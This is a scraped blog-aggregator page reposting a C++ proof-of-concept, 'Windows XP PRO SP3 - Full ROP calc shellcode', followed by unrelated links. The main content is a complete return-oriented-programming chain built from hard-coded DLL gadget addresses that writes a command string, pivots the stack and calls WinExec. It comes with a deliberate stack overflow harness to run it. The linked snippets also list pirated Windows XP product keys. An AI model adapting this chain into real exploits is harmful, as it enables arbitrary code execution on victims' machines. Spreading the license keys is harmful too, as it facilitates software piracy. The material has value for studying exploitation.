Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="\xb1\x4f\x97\x7c" // POP ECX # RETN"\xf9\x10\x47\x7e" // Writable PTR USER32.dll"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN"\x43\x3a\x5c\x57" // ASCII "C:\W""\x49\x4e\x44\x4f" // ASCII "INDO""\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x57\x53\x5c\x73" // ASCII "WS\s""\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x79\x73\x74\x65" // ASCII "yste""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x63\x61\x6c\x63" // ASCII "calc""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x6d\x33\x32\x5c" // ASCII "m32\""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x2e\x65\x78\x65" // ASCII ".exe""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//"\xe5\x02\x88\x7c" // POP EAX # RETN"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xb1\x4f\x97\x7c" // POP ECX # RETN"\xed\x2a\x86\x7c" // WinExec()"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Final RETN for WinExec()"\x8a\x20\x87\x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- 让你分分钟读懂CPU架构及芯片厂商
CPU架构是CPU厂商给属于同一系列的CPU产品定的一个规范,主要目的是为了区分 不同类型CPU的重要标示.目前市面上的CPU指令集分类主要分有两大阵营,一个是intel.AMD为首的复杂指令集CPU ...
- 在PC端或移动端应用中接入商业QQ的方法
今天看博友的博客学习了一种很有用的方法: 在页面中需要接入企业的QQ,访问网址:http://shang.qq.com/widget/consult.php.(就是API接口),然后你只需要登录你的Q ...
- XML 解析器
所有现代浏览器都内建了供读取和操作 XML 的 XML 解析器.解析器把 XML 转换为 XML DOM 对象 - 可通过 JavaScript 操作的对象. 解析 XML 文档为DOM对象 方法一: ...
- 实现jQuery扩展总结
开发自己需要的jQuery插件,看个示例说明<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&qu ...
- Java编程思想学习笔记_1(Java内存和垃圾回收)
1.Java中对象的存储数据的地方: 共有五个不同的地方可以存储数据. 1)寄存器.最快,因为位于处理器的内部,寄存器按需求分配,不能直接控制. 2)堆栈.位于通用RAM,通过堆栈指针可以从处理器那里 ...
- D3.js 力导向图的制作
力导向图中每一个节点都受到力的作用而运动,这种是一种非常绚丽的图表. 力导向图(Force-Directed Graph),是绘图的一种算法.在二维或三维空间里配置节点,节点之间用线连接,称为连线. ...
- samba服务器搭建
为实现windows与linux资源共享,搭建一个samba服务器:这个我也是探索了一段时间. 找到一篇写得比较清楚的博客: http://yangxuejun.blog.51cto.com/6239 ...
- js 中文乱码
js合成url时,如果参数是中文,传到struts2中会乱码,解决办法如下:1.js文件中使用encodeURI()方法(必须套两层).login_name = encodeURI(encodeURI ...
- sql中out与output
--SQLQuery Create By Faywool create proc Proc_OutPutTest--创建 @numA int,--numA为存储过程的参数 @numB ...
- 经验解决Fragment被Replace后仍旧可见的问题
经验解决Fragment被Replace后仍旧可见的问题 网上问的问题,大多会提到替换了Fragment而发现之前被替换的仍旧显示在那里.我个人使用android 2.3 +support 开发包,在 ...